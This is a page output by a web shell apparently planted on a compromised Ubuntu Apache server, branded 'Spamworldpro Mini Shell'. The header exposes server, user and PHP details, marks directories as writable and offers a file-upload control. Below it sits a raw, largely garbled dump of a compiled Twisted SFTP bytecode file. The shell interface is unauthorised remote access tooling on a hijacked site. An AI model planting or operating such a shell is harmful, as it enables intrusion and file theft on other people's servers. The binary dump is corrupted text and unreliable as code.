Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/conch/ssh/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/conch/ssh/__pycache__/filetransfer.cpython-310.pyc
o

�bɔ�@s&ddlZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZm
Z
ddlmZmZmZddlmZddlmZdd	lmZmZGd
d�dej�ZGdd
�d
e�ZGdd�de�Zee	�Gdd�d��ZGdd�d�ZGdd�de�Z dZ!dZ"dZ#dZ$dZ%dZ&dZ'dZ(dZ)dZ*d Z+d!Z,d"Z-d#Z.d$Z/d%Z0d&Z1d'Z2d(Z3d)Z4d*Z5d+Z6d,Z7d-Z8d.Z9d/Z:d0Z;dZ<dZ=e=Z>dZ?dZ@d1ZAdZBdZCdZDdZEdZFdZGdZHdZIdZJd%ZKd2ZLd3ZMdZNdZOdZPdZQdZRdZSdZTdZUdZVd ZWeRZXeRZYeZ�Z[e\e[�]��D]Z^e^�_d4��r
e[e^Z`e^dd�ejae`<q�[[[^[`dS)5�N)�Dict)�implementer)�	ISFTPFile�ISFTPServer)�NS�getNS)�defer�error�protocol)�Logger)�failure)�nativeString�
networkStringcsdeZdZUe�ZdZiZeee	fe
d<dd�Zdd�Zdd�Z
d	d
�Zdd�Z�fd
d�Z�ZS)�FileTransferBase)��packetTypescCsd|_d|_dS�N�)�buf�otherVersion��self�r�@/usr/lib/python3/dist-packages/twisted/conch/ssh/filetransfer.py�__init__s
zFileTransferBase.__init__cCs&|j�t�dt|�d|�|�dS)Nz!LB�)�	transport�write�struct�pack�len)r�kind�datarrr�
sendPacket"s&zFileTransferBase.sendPacketcCs<|j|7_t|j�dkr�|jdd�}t�d|�\}}}t|j�d|kr)dS|jdd|�|jd|d�}|_|j�|d�}|sO|jjd|d�qt|d|��d�}|sr|jjd||dd�d	�|�	|t
d
|���q|jjd||d�z||�Wnty�|jjd
|d�Yqwt|j�dksdSdS)N�	z!LBL��zno packet type for {kind})r!�packet_z+not implemented: {packetType} data={data!r})�
packetTyper"zdon't understand z+dispatching: {packetType} requestId={reqId})r(�reqIdz,Failed to handle packet of type {packetType})r()
rr r�unpackr�get�_log�info�getattr�_sendStatus�FX_OP_UNSUPPORTED�	Exceptionr)rr"�header�lengthr!r)r(�frrr�dataReceived%sJ	(
������zFileTransferBase.dataReceivedcCs�t�d|dd��\}i}|dd�}|t@tkr.t�d|dd��\}||d<|dd�}|t@tkrNt�d|dd��\}}||d<||d<|dd�}|t@tkrit�d|dd��\}||d	<|dd�}|t@tkr�t�d|dd��\}}	||d
<|	|d<|dd�}|t@tkr�t�d|dd��\}
|dd�}t|
�D]}t|�\}}t|�\}
}|
|dt	|���<q�||fS)
N�!Lr%�!Q��size�!2L�uid�gid�permissions�atime�mtime�ext_)
rr*�FILEXFER_ATTR_SIZE�FILEXFER_ATTR_OWNERGROUP�FILEXFER_ATTR_PERMISSIONS�FILEXFER_ATTR_ACMODTIME�FILEXFER_ATTR_EXTENDED�rangerr
)rr"�flags�attrsr9r;r<�permsr>r?�
extendedCount�i�extendedType�extendedDatarrr�_parseAttributes`s:z!FileTransferBase._parseAttributescCs8d}d}d|vr|t�d|d�7}|tO}d|vr/d|vr/|t�d|d|d�7}|tO}d|vrA|t�d	|d�7}|tO}d
|vrZd|vrZ|t�d|d
|d�7}|tO}g}|D]}|�d�r|tt|d
d���}t||�}|�	||�q^|r�|t�d	t
|��7}|d�|�7}|tO}t�d	|�|S)Nrrr9r7r;r<r:r=r6r>r?r@r%)
rrrArBrCrD�
startswithrr�appendr �joinrE)rrHrGr"�extended�k�extType�extDatarrr�_packAttributess4
�z FileTransferBase._packAttributescst��|�d|_dS)zJ
        Called when connection to the remote subsystem was lost.
        FN)�super�connectionLost�	connected�r�reason��	__class__rrrX�s
zFileTransferBase.connectionLost)�__name__�
__module__�__qualname__rr,�versionsrr�int�str�__annotations__rr#r5rNrVrX�
__classcell__rrr\rrs
;rc@s0eZdZdMdd�Zdd�Zdd�Zdd	�Zd
d�ZdNd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�ZdOd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Zd<d=�Zd>d?�Z d@dA�Z!dPdCdD�Z"dQdFdG�Z#dRdIdJ�Z$dKdL�Z%dS)S�FileTransferServerNcCs$t�|�t|�|_i|_i|_dS�N)rrr�client�	openFiles�openDirs)rr"�avatarrrrr�s


zFileTransferServer.__init__c
Cs�t�d|dd��\}tt|j�|g�|_|dd�}i}|r2t|�\}}t|�\}}|||<|s |j�||�}d}|�	�D]\}}	|t
|�t
|	�7}q?|�tt�
d|j�|�dS�Nr6r%r)rr*�min�listra�versionrrh�
gotVersion�itemsrr#�FXP_VERSIONr)
rr"ro�ext�extNamerU�ourExt�
ourExtDatarS�vrrr�packet_INIT�s�zFileTransferServer.packet_INITcCs�|dd�}|dd�}t|�\}}t�d|dd��\}|dd�}|�|�\}}|dks5Jd|����t�|jj|||�}|�|j	|�|�
|j|d�dS)Nr%r6rzstill have data in OPEN: sopen failed)rrr*rNr�
maybeDeferredrh�openFile�addCallback�_cbOpenFile�
addErrback�	_ebStatus)rr"�	requestId�filenamerGrH�drrr�packet_OPEN�szFileTransferServer.packet_OPENcCsDttt|���}||jvrtd��||j|<|�t|t|��dS)Nzid already open)rrc�hashri�KeyErrorr#�
FXP_HANDLEr)r�fileObjr�fileIdrrrr|�s


zFileTransferServer._cbOpenFilec
Cs
|dd�}|dd�}t|�\}}|jjd||d�|dks&Jd|����||jvrH|j|}t�|j�}|�|j||�|�	|j
|d�dS||jvrm|j|d}t�|j�}|�|j||d�|�	|j
|d�dStj
}t�|�}t||�}	|�
t�|	�|�dS)	Nr%z!closing: {requestId!r} {handle!r})r�handlerzstill have data in CLOSE: sclose failedrr)rr,r-rirry�closer{�_cbCloser}r~rj�errno�ENOENT�os�strerror�OSErrorr�Failure)
rr"rr�r�r��dirObj�code�text�errrrr�packet_CLOSE�s.�




zFileTransferServer.packet_CLOSErcCs(|r|j|=n|j|=|�|td�dS)Nsfile closed)rjrir/�FX_OK)r�resultr�r�isDirrrrr��s
zFileTransferServer._cbClosecCs�|dd�}|dd�}t|�\}}t�d|dd��|dd�\}}}|dks0Jd|����||jvrA|�t�t��|�dS|j|}t�	|j
||�}|�|j|�|�
|j|d�dS)Nr%�!QL�rzstill have data in READ: sread failed)rrr*ri�_ebReadrr�r�rry�	readChunkr{�_cbReadr}r~)rr"rr��offsetr3r�r�rrr�packet_READ�s&

zFileTransferServer.packet_READcCs&|dkrt��|�t|t|��dSr)�EOFErrorr#�FXP_DATAr�rr�rrrrr��szFileTransferServer._cbReadcCs�|dd�}|dd�}t|�\}}t�d|dd��\}|dd�}t|�\}}|dks4Jd|����||jvrE|�t�t��|�dS|j|}t�	|j
||�}|�|j|d�|�
|j|d�dS)Nr%r7r8rzstill have data in WRITE: swrite succeededswrite failed)rrr*ri�_ebWriterr�r�rry�
writeChunkr{�	_cbStatusr}r~)rr"rr�r��	writeDatar�r�rrr�packet_WRITEs

zFileTransferServer.packet_WRITEcC�n|dd�}|dd�}t|�\}}|dksJd|����t�|jj|�}|�|j|d�|�|j|d�dS)Nr%rzstill have data in REMOVE: sremove succeededs
remove failed)	rrryrh�
removeFiler{r�r}r~)rr"rr�r�rrr�
packet_REMOVE�z FileTransferServer.packet_REMOVEcCs||dd�}|dd�}t|�\}}t|�\}}|dks#Jd|����t�|jj||�}|�|j|d�|�|j|d�dS)Nr%rzstill have data in RENAME: srename succeededs
rename failed)	rrryrh�
renameFiler{r�r}r~)rr"r�oldPath�newPathr�rrr�
packet_RENAMEsz FileTransferServer.packet_RENAMEcCs~|dd�}|dd�}t|�\}}|�|�\}}|dks$Jd|����t�|jj||�}|�|j|d�|�|j	|d�dS)Nr%rzstill have data in MKDIR: smkdir succeededsmkdir failed)
rrNrryrh�
makeDirectoryr{r�r}r~�rr"r�pathrHr�rrr�packet_MKDIR#szFileTransferServer.packet_MKDIRcCr�)Nr%rzstill have data in RMDIR: srmdir succeededsrmdir failed)	rrryrh�removeDirectoryr{r�r}r~�rr"rr�r�rrr�packet_RMDIR-r�zFileTransferServer.packet_RMDIRcC�l|dd�}|dd�}t|�\}}|dksJd|����t�|jj|�}|�|j|�|�|j|d�dS)Nr%rzstill have data in OPENDIR: sopendir failed)	rrryrh�
openDirectoryr{�_cbOpenDirectoryr}r~r�rrr�packet_OPENDIR6�z!FileTransferServer.packet_OPENDIRcCsLttt|���}||jvrtd��|t|�g|j|<|�t|t|��dS)Nzalready opened this directory)	rrcr�rjr��iterr#r�r)rr�rr�rrrr�?s

z#FileTransferServer._cbOpenDirectorycCs�|dd�}|dd�}t|�\}}|dksJd|����||jvr.|�t�t��|�dS|j|\}}t�|j|g�}|�	|j
|�|�|j|d�dS)Nr%rzstill have data in READDIR: sscan directory failed)rrjr~rr�r�rry�_scanDirectoryr{�_cbSendDirectoryr})rr"rr�r��dirIterr�rrr�packet_READDIRFs
z!FileTransferServer.packet_READDIRcCsrt|�dkr7zt|�}Wnty|st�|YSwt|tj�r,|�|j||�dS|�	|�t|�dks|S)N�)
r �next�
StopIterationr��
isinstancer�Deferredr{�_cbScanDirectoryrP)rr�r4r-rrrr�Ss�
�z!FileTransferServer._scanDirectorycCs|�|�|�||�Srg)rPr�)rr�r�r4rrrr�bs
z#FileTransferServer._cbScanDirectoryc	Cs^d}|D]\}}}|t|�7}|t|�7}||�|�7}q|�t|t�dt|��|�dS)Nrr6)rrVr#�FXP_NAMErrr )rr�rr"r��longnamerHrrrr�fs$z#FileTransferServer._cbSendDirectoryrcCsn|dd�}|dd�}t|�\}}|dksJd|����t�|jj||�}|�|j|�|�|j|d�dS)Nr%rzstill have data in STAT/LSTAT: sstat/lstat failed)	rrryrh�getAttrsr{�_cbStatr}r~)rr"�followLinksrr�r�rrr�packet_STATnszFileTransferServer.packet_STATcCs|�|d�dS�Nr)r�)rr"rrr�packet_LSTATw�zFileTransferServer.packet_LSTATcCs�|dd�}|dd�}t|�\}}|dksJd|����||jvr2|�t�t|�d���|�dS|j|}t�|j�}|�	|j
|�|�|j|d�dS)Nr%rzstill have data in FSTAT: z not in self.openFilessfstat failed)rrir~rr�r�rryr�r{r�r})rr"rr�r�r�rrr�packet_FSTATzs
�
zFileTransferServer.packet_FSTATcCs||�|�}|�t|�dSrg)rVr#�	FXP_ATTRS)rr�rr"rrrr��szFileTransferServer._cbStatcCs�|dd�}|dd�}t|�\}}|�|�\}}|dkr%|jjd|d�t�|jj||�}|�|j	|d�|�
|j|d�dS)Nr%rz$Still have data in SETSTAT: {data!r})r"ssetstat succeededssetstat failed)rrNr,�warnrryrh�setAttrsr{r�r}r~r�rrr�packet_SETSTAT�sz!FileTransferServer.packet_SETSTATcCs�|dd�}|dd�}t|�\}}|�|�\}}|dks$Jd|����||jvr5|�t�t��|�dS|j|}t�|j	|�}|�
|j|d�|�|j|d�dS)Nr%rzstill have data in FSETSTAT: sfsetstat succeededsfsetstat failed)
rrNrir~rr�r�rryr�r{r�r})rr"rr�rHr�r�rrr�packet_FSETSTAT�s

z"FileTransferServer.packet_FSETSTATcCr�)Nr%rzstill have data in READLINK: sreadlink failed)	rrryrh�readLinkr{�_cbReadLinkr}r~r�rrr�packet_READLINK�r�z"FileTransferServer.packet_READLINKcCs|�|difg|�dSr)r�r�rrrr��szFileTransferServer._cbReadLinkcCsf|dd�}|dd�}t|�\}}t|�\}}t�|jj||�}|�|j|d�|�|j|d�dS)Nr%ssymlink succeededssymlink failed)	rrryrh�makeLinkr{r�r}r~)rr"r�linkPath�
targetPathr�rrr�packet_SYMLINK�sz!FileTransferServer.packet_SYMLINKcCr�)Nr%rzstill have data in REALPATH: srealpath failed)	rrryrh�realPathr{r�r}r~r�rrr�packet_REALPATH�r�z"FileTransferServer.packet_REALPATHcCs`|dd�}|dd�}t|�\}}t�|jj||�}|�|j|�|�|j|d|d�dS)Nr%s	extended s failed)	rrryrh�extendedRequestr{�_cbExtendedr}r~)rr"rrtrUr�rrr�packet_EXTENDED�sz"FileTransferServer.packet_EXTENDEDcCs|�t||�dSrg)r#�FXP_EXTENDED_REPLY)rr"rrrrr���zFileTransferServer._cbExtended�request succeededcCs|�|t|�dSrg)r/r�)rr�r�msgrrrr��szFileTransferServer._cbStatus�request failedcCst}|}t|jttf�rA|jjtjkrt}t|jj	�}nj|jjtj
kr,t}t|jj	�}nZ|jjtjkr6t
}nP|jjd|||d�nEt|jt�rVt}|jjrUt|jjd�}n0t|jt�rkt}|jjrjt|jjd�}nt|jt�r||jj}t|jj�}n
|jjd|||d�|�|||�dS)Nz%Request {requestId} failed: {message})rr�messagerz8Request {requestId} failed with unknown error: {message})�
FX_FAILUREr��value�IOErrorr�r�r��FX_NO_SUCH_FILErr��EACCES�FX_PERMISSION_DENIED�EEXIST�FX_FILE_ALREADY_EXISTSr,rr��FX_EOF�args�NotImplementedErrorr0�	SFTPErrorr�r�r/)rr[rr�r�r�rrrr~�sJ����zFileTransferServer._ebStatusrcCs8|t�d|�}|t|�7}|t|�7}|�t|�dS)z=
        Helper method to send a FXP_STATUS message.
        r6N)rrrr#�
FXP_STATUS)rrr�r��langr"rrrr/�szFileTransferServer._sendStatuscCsPt�||�|j��D]}|��qi|_|j��D]\}}|��qi|_dS)z{
        Called when connection to the remote subsystem was lost.

        Clean all opened files and directories.
        N)rrXri�valuesr�rj)rr[r�r�r�rrrrXs


z!FileTransferServer.connectionLost)NN�r)r)r�)r�)r)&r^r_r`rrxr�r|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r~r/rXrrrrrf�sH

	

		

				


'	rfc@s�eZdZifdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zd9dd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8S):�FileTransferClientcCs t�|�i|_d|_i|_dS)zq
        @param extData: a dict of extended_name : extended_data items
        to be sent to the server.
        rN)rrrU�counter�openRequests)rrUrrrrs

zFileTransferClient.__init__cCsJt�dt|j��}|j��D]\}}|t|�t|�7}q|�t|�dS)Nr6)	rr�maxrarUr�rr#�FXP_INIT)rr"rSrwrrr�connectionMadesz!FileTransferClient.connectionMadecCs\t�||�|jr*t��}|j|_t�|�}|jr,|j�	�\}}|�
|�|jsdSdSdS)zu
        Called when connection to the remote subsystem was lost.

        Any pending requests are aborted.
        N)rrXr�r	�ConnectionLostr��	__cause__rr��popitem�errback)rr[�requestError�requestFailure�_�deferredrrrrX%s


��z!FileTransferClient.connectionLostcCsX|js
t�t���St�d|j�|}t��}||j	|j<|jd7_|�
||�|S)z�
        Send a request and return a deferred which waits for the result.

        @type msg: L{int}
        @param msg: The request type (e.g., C{FXP_READ}).

        @type data: L{bytes}
        @param data: The body of the request.
        r6r)rYr�failr	r�rrr�r�r�r#)rr�r"r�rrr�_sendRequest;s
zFileTransferClient._sendRequestcCs8t�d|dd��\}|j|}|j|=||dd�fS�Nr6r%)rr*r�)rr"�idr�rrr�
_parseRequestOs
z FileTransferClient._parseRequestcCs>t|�t�d|�|�|�}|�t|�}|�|jt|�|S)a�
        Open a file.

        This method returns a L{Deferred} that is called back with an object
        that provides the L{ISFTPFile} interface.

        @type filename: L{bytes}
        @param filename: a string representing the file to open.

        @param flags: an integer of the flags to open the file with, ORed together.
        The flags and their values are listed at the bottom of this file.

        @param attrs: a list of attributes to open the file with.  It is a
        dictionary, consisting of 0 or more keys.  The possible keys are::

            size: the size of the file in bytes
            uid: the user ID of the file as an integer
            gid: the group ID of the file as an integer
            permissions: the permissions of the file with as an integer.
            the bit representation of this field is defined by POSIX.
            atime: the access time of the file as seconds since the epoch.
            mtime: the modification time of the file as seconds since the epoch.
            ext_*: extended attributes.  The server is not required to
            understand this, but it may.

        NOTE: there is no way to indicate text or binary files.  it is up
        to the SFTP client to deal with this.
        r6)	rrrrVr�FXP_OPENr{�
_cbOpenHandle�
ClientFile)rr�rGrHr"r�rrrrzUszFileTransferClient.openFilecCs|||�}||_|S)a�
        Callback invoked when an OPEN or OPENDIR request succeeds.

        @param handle: The handle returned by the server
        @type handle: L{bytes}
        @param handleClass: The class that will represent the
        newly-opened file or directory to the user (either L{ClientFile} or
        L{ClientDirectory}).
        @param name: The name of the file or directory represented
        by C{handle}.
        @type name: L{bytes}
        )�name)rr��handleClassr�cbrrrrws

z FileTransferClient._cbOpenHandlecC�|�tt|��S)z�
        Remove the given file.

        This method returns a Deferred that is called back when it succeeds.

        @type filename: L{bytes}
        @param filename: the name of the file as a string.
        )r�
FXP_REMOVEr)rr�rrrr��s	zFileTransferClient.removeFilecC�|�tt|�t|��S)a
        Rename the given file.

        This method returns a Deferred that is called back when it succeeds.

        @type oldpath: L{bytes}
        @param oldpath: the current location of the file.
        @type newpath: L{bytes}
        @param newpath: the new file name.
        )r�
FXP_RENAMEr)r�oldpath�newpathrrrr��szFileTransferClient.renameFilecCs|�tt|�|�|��S)au
        Make a directory.

        This method returns a Deferred that is called back when it is
        created.

        @type path: L{bytes}
        @param path: the name of the directory to create as a string.

        @param attrs: a dictionary of attributes to create the directory
        with.  Its meaning is the same as the attrs in the openFile method.
        )r�	FXP_MKDIRrrV)rr�rHrrrr��s
z FileTransferClient.makeDirectorycCr)a-
        Remove a directory (non-recursively)

        It is an error to remove a directory that has files or directories in
        it.

        This method returns a Deferred that is called back when it is removed.

        @type path: L{bytes}
        @param path: the directory to remove.
        )r�	FXP_RMDIRr)rr�rrrr��sz"FileTransferClient.removeDirectorycCs$|�tt|��}|�|jt|�|S)a�
        Open a directory for scanning.

        This method returns a Deferred that is called back with an iterable
        object that has a close() method.

        The close() method is called when the client is finished reading
        from the directory.  At this point, the iterable will no longer
        be used.

        The iterable returns triples of the form (filename, longname, attrs)
        or a Deferred that returns the same.  The sequence must support
        __getitem__, but otherwise may be any 'sequence-like' object.

        filename is the name of the file relative to the directory.
        logname is an expanded format of the filename.  The recommended format
        is:
        -rwxr-xr-x   1 mjos     staff      348911 Mar 25 14:29 t-filexfer
        1234567890 123 12345678 12345678 12345678 123456789012

        The first line is sample output, the second is the length of the field.
        The fields are: permissions, link count, user owner, group owner,
        size in bytes, modification time.

        attrs is a dictionary in the format of the attrs argument to openFile.

        @type path: L{bytes}
        @param path: the directory to open.
        )r�FXP_OPENDIRrr{r�ClientDirectory�rr�r�rrrr��sz FileTransferClient.openDirectoryrcCs|rt}nt}|�|t|��S)a�
        Return the attributes for the given path.

        This method returns a dictionary in the same format as the attrs
        argument to openFile or a Deferred that is called back with same.

        @type path: L{bytes}
        @param path: the path to return attributes for as a string.
        @param followLinks: a boolean.  if it is True, follow symbolic links
        and return attributes for the real path at the base.  if it is False,
        return attributes for the specified path.
        )�FXP_STAT�	FXP_LSTATrr)rr�r��mrrrr��s
zFileTransferClient.getAttrscCst|�|�|�}|�t|�S)ad
        Set the attributes for the path.

        This method returns when the attributes are set or a Deferred that is
        called back when they are.

        @type path: L{bytes}
        @param path: the path to set attributes for as a string.
        @param attrs: a dictionary in the same format as the attrs argument to
        openFile.
        )rrVr�FXP_SETSTAT)rr�rHr"rrrr��szFileTransferClient.setAttrscC�|�tt|��}|�|j�S)z�
        Find the root of a set of symbolic links.

        This method returns the target of the link, or a Deferred that
        returns the same.

        @type path: L{bytes}
        @param path: the path of the symlink to read.
        )r�FXP_READLINKrr{�_cbRealPathrrrrr��
zFileTransferClient.readLinkcCr)a[
        Create a symbolic link.

        This method returns when the link is made, or a Deferred that
        returns the same.

        @type linkPath: L{bytes}
        @param linkPath: the pathname of the symlink as a string
        @type targetPath: L{bytes}
        @param targetPath: the path of the target of the link as a string.
        )r�FXP_SYMLINKr)rr�r�rrrr�szFileTransferClient.makeLinkcCr )z�
        Convert any path to an absolute path.

        This method returns the absolute path as a string, or a Deferred
        that returns the same.

        @type path: L{bytes}
        @param path: the path to convert as a string.
        )r�FXP_REALPATHrr{r"rrrrr�r#zFileTransferClient.realPathcCs|d\}}}|�d�}|S)Nrzutf-8)�decode)rr�rr�rHrrrr")s
zFileTransferClient._cbRealPathcCs|�tt|�|�S)ak
        Make an extended request of the server.

        The method returns a Deferred that is called back with
        the result of the extended request.

        @type request: L{bytes}
        @param request: the name of the extended request to make.
        @type data: L{bytes}
        @param data: any other data that goes along with the request.
        )r�FXP_EXTENDEDr)r�requestr"rrrr�.sz"FileTransferClient.extendedRequestcCsdt�d|dd��\}|dd�}i}|r't|�\}}t|�\}}|||<|s||_|�||�dSr)rr*rro�gotServerVersion)rr"ror�rSrwrrr�packet_VERSION<s�z!FileTransferClient.packet_VERSIONcCs�|�|�\}}t�d|dd��\}|dd�}t|�dkr4t|�\}}t|�dkr1t|�\}}nd}nd}d}|tkrE|�||f�dS|tkrR|�t	|��dS|t
kr_|�t|��dS|�t|t
|�|��dSrl)r
rr*r rr��callbackr�rr�r0r�r�r
)rr"r�r�r�r�rrr�
packet_STATUSGs"z FileTransferClient.packet_STATUScCs(|�|�\}}t|�\}}|�|�dSrg)r
rr+)rr"r�r�rrrr�
packet_HANDLE]sz FileTransferClient.packet_HANDLEcCs$|�|�\}}|�t|�d�dSr�)r
r+r�rr"r�rrr�packet_DATAbszFileTransferClient.packet_DATAc	Cs�|�|�\}}t�d|dd��\}|dd�}g}t|�D]}t|�\}}t|�\}}|�|�\}}|�|||f�q|�|�dSr)r
rr*rFrrNrPr+)	rr"r��count�filesrKr�r�rHrrr�packet_NAMEfszFileTransferClient.packet_NAMEcCs&|�|�\}}|�|�|�d�dSr�)r
r+rNr.rrr�packet_ATTRSrszFileTransferClient.packet_ATTRScCs|�|�\}}|�|�dSrg)r
r+r.rrr�packet_EXTENDED_REPLYvsz(FileTransferClient.packet_EXTENDED_REPLYcCsdS)aN
        Called when the client sends their version info.

        @param serverVersion: an integer representing the version of the SFTP
        protocol they are claiming.
        @param extData: a dictionary of extended_name : extended_data items.
        These items are sent by the client to indicate additional features.
        Nr)r�
serverVersionrUrrrr)zsz#FileTransferClient.gotServerVersionNr�)r^r_r`rr�rXrr
rzrr�r�r�r�r�r�r�r�r�r�r"r�r*r,r-r/r2r3r4r)rrrrr�s8
"

"

r�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)r
cCs||_t|�|_dSrg)�parentrr��rr6r�rrrr�szClientFile.__init__cC�|j�t|j�Srg)r6r�	FXP_CLOSEr�rrrrr��r�zClientFile.closecCs"|jt�d||�}|j�t|�S)Nr�)r�rrr6r�FXP_READ)rr�r3r"rrrr��szClientFile.readChunkcCs(|jt�d|�t|�}|j�t|�S)Nr7)r�rrrr6r�	FXP_WRITE)rr��chunkr"rrrr��szClientFile.writeChunkcCr8rg)r6r�	FXP_FSTATr�rrrrr��r�zClientFile.getAttrscCs |j|j�|�}|j�t|�Srg)r�r6rVrr=)rrHr"rrrr��szClientFile.setAttrsN)	r^r_r`rr�r�r�r�r�rrrrr
�sr
c@sHeZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZeZdd�Z	d
d�Z
dS)rcCs||_t|�|_g|_dSrg)r6rr��
filesCacher7rrrr�s

zClientDirectory.__init__cCr8rg)r6r�FXP_READDIRr�rrrr�read�r�zClientDirectory.readcCs.|jdur
t�d�S|j�t|j�}d|_|Srg)r�r�succeedr6rr9�rr�rrrr��s


zClientDirectory.closecCs|Srgrrrrr�__iter__�szClientDirectory.__iter__cCsNtjdtdd�|jr|j�d�S|jdurt��|��}|�|j|j	�|S)NzeUsing twisted.conch.ssh.filetransfer.ClientDirectory as an iterator was deprecated in Twisted 18.9.0.�)�category�
stacklevelr)
�warningsr��DeprecationWarningr>�popr�r@�addCallbacks�
_cbReadDir�
_ebReadDirrBrrr�__next__�s�
zClientDirectory.__next__cCs|dd�|_|dS)Nrr)r>)r�namesrrrrK�szClientDirectory._cbReadDircCs|�t�d|_t�t��Srg)�trapr�r>rr�r�rZrrrrL�s
zClientDirectory._ebReadDirN)r^r_r`rr@r�rCrMr�rKrLrrrrr�src@s0eZdZd
dd�Zedd��Zdefdd�Zd	S)r��cCs t�|�||_||_||_dSrg)r1rr��_messager�)r�	errorCode�errorMessager�rrrr�s

zSFTPError.__init__cCs|jS)zX
        A string received over the network that explains the error to a human.
        )rQrrrrr��s
zSFTPError.message�returncCsd|j�d|j��S)Nz
SFTPError z: )r�r�rrrr�__str__�r�zSFTPError.__str__N)rP)r^r_r`r�propertyr�rcrUrrrrr��s


r�rrDrr%r&��r8r$�
�r��
��������e�f�g�h�i����l� �@�FXP_)br�r�rrG�typingr�zope.interfacer�twisted.conch.interfacesrr�twisted.conch.ssh.commonrr�twisted.internetrr	r
�twisted.loggerr�twisted.pythonr�twisted.python.compatr
r�Protocolrrfr�r
rr1r�r�rrrr9r:r;rr=r�FXP_FSETSTATrr?rrrr%rrr!r$r�r�r�r�r�r'r�rA�FILEXFER_ATTR_UIDGIDrBrCrDrE�FILEXFER_TYPE_REGULAR�FILEXFER_TYPE_DIRECTORY�FILEXFER_TYPE_SYMLINK�FILEXFER_TYPE_SPECIAL�FILEXFER_TYPE_UNKNOWN�FXF_READ�	FXF_WRITE�
FXF_APPEND�	FXF_CREAT�	FXF_TRUNC�FXF_EXCL�FXF_TEXTr�r�r�r�r��FX_BAD_MESSAGE�FX_NO_CONNECTION�FX_CONNECTION_LOSTr0r��FX_NOT_A_DIRECTORY�FX_FILE_IS_A_DIRECTORY�globals�grn�keysrrOr�rrrrr�<module>s�
ss0�


Spamworldpro Mini